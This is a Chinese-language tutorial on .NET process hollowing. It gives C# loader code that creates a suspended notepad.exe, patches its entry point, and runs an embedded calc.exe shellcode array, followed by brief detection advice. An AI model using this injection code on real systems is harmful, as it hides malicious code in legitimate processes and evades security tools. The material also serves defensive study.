.NET隐藏技术之傀儡进程
字数 808 2025-08-23 18:31:34

.NET隐藏技术之傀儡进程详解

一、傀儡进程概述

傀儡进程(Process Hollowing)是一种高级进程注入技术,通过修改目标进程的内存数据,向其中写入Shellcode,并修改进程的执行流程,使其转向执行恶意的Shellcode代码。这种技术常用于绕过安全检测,因为恶意代码是在合法进程的上下文中执行的。

二、关键技术函数

1. ZwQueryInformationProcess

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(
    IntPtr hProcess,
    int procInformationClass,
    ref PROCESS_BASIC_INFORMATION procInformation,
    uint ProcInfoLen,
    ref uint retlen);

作用:获取指定进程的信息,特别是进程环境块(PEB)的地址。

2. ReadProcessMemory

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    [Out] byte[] lpBuffer,
    int dwSize,
    out IntPtr lpNumberOfBytesRead);

作用:从指定进程的内存中读取数据。

3. ResumeThread

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);

作用:恢复被挂起的线程的执行。

三、实现步骤详解

1. 创建挂起进程

public PROCESS_INFORMATION StartProcess(string path)
{
    STARTUPINFO startInfo = new STARTUPINFO();
    PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
    uint flags = CreateSuspended | DetachedProcess;
    
    if (!CreateProcess((IntPtr)0, path, 0, (IntPtr)0, true, flags, 
        (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo))
        return procInfo;
}

关键点:

  • 使用CreateSuspended标志创建进程,使主线程处于挂起状态
  • DetachedProcess标志使新进程与父进程分离

2. 定位进程入口点

public IntPtr FindEntry(IntPtr hProc)
{
    var basicInfo = new PROCESS_BASIC_INFORMATION();
    uint tmp = 0;
    var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, 
        (uint)(IntPtr.Size * 6), ref tmp);
    
    IntPtr readLoc = IntPtr.Zero;
    var addrBuf = new byte[IntPtr.Size];
    
    // 32位和64位系统处理方式不同
    if (IntPtr.Size == 4)
    {
        readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
    }
    else
    {
        readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
    }
    
    IntPtr nRead = IntPtr.Zero;
    if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) 
        || nRead == IntPtr.Zero)
        return IntPtr.Zero;
    
    if (IntPtr.Size == 4)
        readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
    else
        readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
    
    pModBase_ = readLoc;
    if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) 
        || nRead == IntPtr.Zero)
        return IntPtr.Zero;
    
    return GetEntryFromBuffer(inner_);
}

关键点:

  • 通过ZwQueryInformationProcess获取PEB地址
  • 根据系统架构(32/64位)计算正确的偏移量
  • 读取进程内存定位入口点

3. 写入Shellcode并恢复执行

public void MapAndStart(PROCESS_INFORMATION pInfo)
{
    var tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero);
    if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0)
        throw new SystemException("向目标进程写入失败!");
    
    remotemap_ = tmp.Key;
    remotesize_ = tmp.Value;
    
    var patch = BuildEntryPatch(tmp.Key);
    try
    {
        var pSize = (IntPtr)patch.Key;
        IntPtr tPtr = new IntPtr();
        if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, 
            pSize, out tPtr) || tPtr == IntPtr.Zero)
            throw new SystemException("写入失败!");
    }
    finally
    {
        if (patch.Value != IntPtr.Zero)
            Marshal.FreeHGlobal(patch.Value);
    }
    
    var tbuf = new byte[0x1000];
    var nRead = new IntPtr();
    if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead))
        throw new SystemException("Failed!");
    
    var res = ResumeThread(pInfo.hThread);
    if (res == unchecked((uint)-1))
        throw new SystemException("恢复线程失败!");
}

关键点:

  • 分配可执行内存区域
  • 写入Shellcode到目标进程
  • 修改入口点指向Shellcode
  • 恢复线程执行

四、示例:执行计算器Shellcode

static void Main(string[] args)
{
    byte[] shellcode = new byte[193] {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 
        0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 
        0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 
        0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 
        0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 
        0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 
        0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 
        0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 
        0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 
        0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 
        0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 
        0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 
        0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 
        0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 
        0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 
        0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
    };
    
    var ldr = new Loader();
    ldr.Load("notepad.exe", shellcode);
}

关键点:

  • 定义计算器的Shellcode
  • 创建notepad.exe作为傀儡进程
  • 注入并执行Shellcode

五、防御措施

  1. 监控进程创建行为,特别是带有CREATE_SUSPENDED标志的进程创建
  2. 检测进程内存中的异常修改,特别是入口点的修改
  3. 使用行为分析检测异常进程行为
  4. 限制低权限用户的进程创建权限

六、总结

傀儡进程技术是一种高级的进程注入技术,通过利用合法进程的上下文执行恶意代码,可以有效绕过许多安全检测机制。理解其工作原理对于安全研究和防御都至关重要。

.NET隐藏技术之傀儡进程详解 一、傀儡进程概述 傀儡进程(Process Hollowing)是一种高级进程注入技术,通过修改目标进程的内存数据,向其中写入Shellcode,并修改进程的执行流程,使其转向执行恶意的Shellcode代码。这种技术常用于绕过安全检测,因为恶意代码是在合法进程的上下文中执行的。 二、关键技术函数 1. ZwQueryInformationProcess 作用:获取指定进程的信息,特别是进程环境块(PEB)的地址。 2. ReadProcessMemory 作用:从指定进程的内存中读取数据。 3. ResumeThread 作用:恢复被挂起的线程的执行。 三、实现步骤详解 1. 创建挂起进程 关键点: 使用 CreateSuspended 标志创建进程,使主线程处于挂起状态 DetachedProcess 标志使新进程与父进程分离 2. 定位进程入口点 关键点: 通过 ZwQueryInformationProcess 获取PEB地址 根据系统架构(32/64位)计算正确的偏移量 读取进程内存定位入口点 3. 写入Shellcode并恢复执行 关键点: 分配可执行内存区域 写入Shellcode到目标进程 修改入口点指向Shellcode 恢复线程执行 四、示例:执行计算器Shellcode 关键点: 定义计算器的Shellcode 创建notepad.exe作为傀儡进程 注入并执行Shellcode 五、防御措施 监控进程创建行为,特别是带有 CREATE_SUSPENDED 标志的进程创建 检测进程内存中的异常修改,特别是入口点的修改 使用行为分析检测异常进程行为 限制低权限用户的进程创建权限 六、总结 傀儡进程技术是一种高级的进程注入技术,通过利用合法进程的上下文执行恶意代码,可以有效绕过许多安全检测机制。理解其工作原理对于安全研究和防御都至关重要。